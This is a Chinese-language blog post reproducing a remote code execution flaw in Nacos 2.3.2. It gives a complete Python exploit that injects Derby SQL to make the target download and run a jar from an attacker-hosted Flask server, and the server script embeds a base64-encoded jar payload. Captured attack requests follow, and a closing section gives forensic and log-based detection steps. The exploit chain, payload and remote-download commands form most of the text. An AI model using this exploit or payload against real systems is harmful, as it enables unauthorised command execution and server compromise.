最近Nacos爆出来了一个新的漏洞,poc公开在了github过几天又被删除了

环境搭建

先下载nacos

https://github.com/alibaba/nacos/releases/tag/2.3.2

执行命令启动

1
startup.cmd -m standalone

如果执行提示JAVA环境的问题,可以参考这篇文章去设置Windows环境变量JDK环境变量配置

POC

1
2
3
1.配置config.py中的ip和端口,执行service.py,POC攻击需要启动一个jar包下载的地方,jar包里可以放任意代码,都可执行,我这里放了一个接收参数执行java命令的

2.执行exploit.py,输入地址和命令即可执行。

config.py

1
2
server_host = '127.0.0.1'
server_port = 5000

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import random
import sys
import requests
from urllib.parse import urljoin
import config


# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
for i in range(0,sys.maxsize):
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
#get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.text)
break


if __name__ == '__main__':
service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)
target = 'http://127.0.0.1:8848'
command = 'calc'
target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
command = input('请输入命令,默认:calc:') or command
exploit(target=target, command=command,service=service)



requirement.txt

1
2
flask
requests

service.py

如果需要打内存马,就先生成一个jar,然后转换成base64,填入payload参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
from flask import Flask, send_file,Response
import config

payload = b'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'

app = Flask(__name__)


@app.route('/download')
def download_file():
data = base64.b64decode(payload)
response = Response(data, mimetype="application/octet-stream")
# response.headers["Content-Disposition"] = "attachment; filename=file.bin"
return response

if __name__ == '__main__':
app.run(host=config.server_host, port=config.server_port)

漏洞复现

目标地址

1
http://192.168.72.1:8848/nacos/index.html

攻击者服务器地址,实际环境下需要在云服务器上搭建服务,本机搭建的是没有公网IP的

1
192.168.126.1

执行命令

先改下配置,并开启服务

执行exploit.py,执行calc命令

同时会收到来自目标的下载请求

实际发送的请求包有两个

先将数据存入了Nacos内置的Derby数据库中,然后使用GET请求去查询信息RCE

其中的IYpoGvNd是随机参数,在两个报文中都存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 192.168.72.1:8848
User-Agent: python-requests/2.24.0
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 487
Content-Type: multipart/form-data; boundary=d28428c7aeccf0aedae82454fc3a92f5
Connection: keep-alive

--d28428c7aeccf0aedae82454fc3a92f5
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://192.168.126.1:5003/download', 'NACOS.IYpoGvNd', 0)

CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.IYpoGvNd')

CREATE FUNCTION S_EXAMPLE_IYpoGvNd( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

--d28428c7aeccf0aedae82454fc3a92f5--

1
/nacos/v1/cs/ops/derby?sql=select * from (select count(*) as b, S_EXAMPLE_IYpoGvNd('calc') as a from config_info) tmp /*ROWS FETCH NEXT*/

应急响应

windows环境下的攻击排查

/bin/derby.log

如果需要去排查nacos是否被这个漏洞攻击,可以先找到/bin/derby.log文件

根据classpath中NACOS.CVtSwELNCVtSwELN去匹配信息,这个值是随机的

也可以通过命令查询已部署的jar,去查询id值

1
/nacos/v1/cs/ops/derby?sql=select * from (SELECT * FROM SYS.SYSFILES) tmp /*ROWS FETCH NEXT*/

/bin/logs

然后去/bin/logs去查询日志

由于是本机搭建,攻击来源地址和nacos的地址一样

可以通过derby中获取的classpath信息去匹配,也可以通过下方的两个接口路径去匹配定位攻击源、攻击时间(通过接口定位)

1
2
/nacos/v1/cs/ops/data/removal # 这个接口不好判断是否为恶意攻击,一般日志都没post包信息
/nacos/v1/cs/ops/derby # 因为攻击者需要通过这个接口去触发命令,并且是GET类型,一般命令执行的信息都在里面

/logs/nacos-persistence.log

直接查/bin/logs的日志时/nacos/v1/cs/ops/data/removal是POST类型的接口一般不会有详情,此时可以通过报错日志去查询信息

这种情况是攻击者在发送第一个请求包时,重复发送了两次,由于名称IaYpoGvNa出现了重复将会导致报错

此时可以在/logs/nacos-persistence.log找到对应的报错信息

这种方式可以查询到攻击者的服务器信息

参考

https://mp.weixin.qq.com/s/ZOq4hNl41SOg_Kg6CgRZIw

https://mp.weixin.qq.com/s/wffu-lRtcuarln3azfkMVQ

https://mp.weixin.qq.com/s/S1qeZYLSp_BbumvFyviMtg